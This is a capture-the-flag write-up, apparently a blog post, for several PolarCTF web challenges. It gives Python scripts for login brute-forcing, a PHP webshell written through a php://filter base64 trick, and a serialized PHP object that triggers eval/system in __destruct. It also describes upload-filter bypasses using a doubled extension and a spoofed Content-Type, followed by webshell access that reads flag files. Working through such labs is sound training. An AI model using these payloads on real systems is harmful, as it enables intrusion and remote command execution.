PoloarCTF WriteUp
PoloarCTF WriteUp
Web
login
import re
import requests
res = ""
url = "http://5077cb7c-84a4-4a16-84e9-8a4547f7efbc.www.polarctf.com:8090"
for i in range(2, 30):
username = "202001{:02d}".format(i)
password = "202001{:02d}".format(i)
payload = {
"username": username,
"password": password,
"submit": "Submit+Query"
}
resp = requests.post(url, data=payload)
p = re.findall(r"[a-zA-Z0-9]+", resp.text[-10:])
if len(p) != 0:
res += p[0]
print(res) # flag{dlcg}
写shell
import requests
res = ""
url = "http://d0b5be67-6278-429b-975b-8aa58e43c995.www.polarctf.com:8090"
params = { "filename": "php://filter/write=convert.base64-decode/resource=a.php" }
payload = { "content": "aPD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTsgPz4=" }
resp = requests.post(url, params=params, data=payload)
resp = requests.get(f"{url}/a.php")
res = resp.text
print(res) # �^�+Zflag{30c42ede8bc4b32e2ae125afaeebee6f}
php very nice
反序列化时,会执行 __destruct()
函数。
<?php
highlight_file(__FILE__);
class Example
{
public $sys='Can you find the leak?';
function __destruct(){
eval($this->sys);
}
}
$obj = new Example();
$obj->sys = 'system("cat flag.php");';
echo(serialize($obj)); # O:7:"Example":1:{s:3:"sys";s:23:"system("cat flag.php");";}
?>
import re
import requests
res = ""
url = "http://66237941-9198-4958-b406-f0d7ff7a947f.www.polarctf.com:8090"
params = { "a": "O:7:%22Example%22:1:{s:3:%22sys%22;s:23:%22system(%22cat%20flag.php%22);%22;}" }
resp = requests.get(url, params=params)
res = re.findall(r"flag{.*}", resp.text)
if len(res) != 0:
print(res) # flag{202cb962ac59075b964b07152d234b70}
upload
双写 php 后缀,修改 Content-Type: image/jpeg
绕过。
右键打开开发者工具,查看上传的文件路径,
<div id="img">
<img src="upload/32284shell.php" width="250px">
</div>
蚁剑连接地址: http://725f1d90-bcf2-42ff-bb4d-f2fce9495d2c.www.polarctf.com:8090/upload/32284shell.php
(apache:/var/www/upload) $ cat /var/www/flag.php
<?php
$flag = 'flag{a89f40341f4271659154829a2215f428}';
?>
ezupload
修改 Content-Type: image/gif
绕过。
(apache:/var/www) $ cat /var/www/flag.php
<?php
$flag = "flag{ffffffffllllaaggg_!!!}";
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具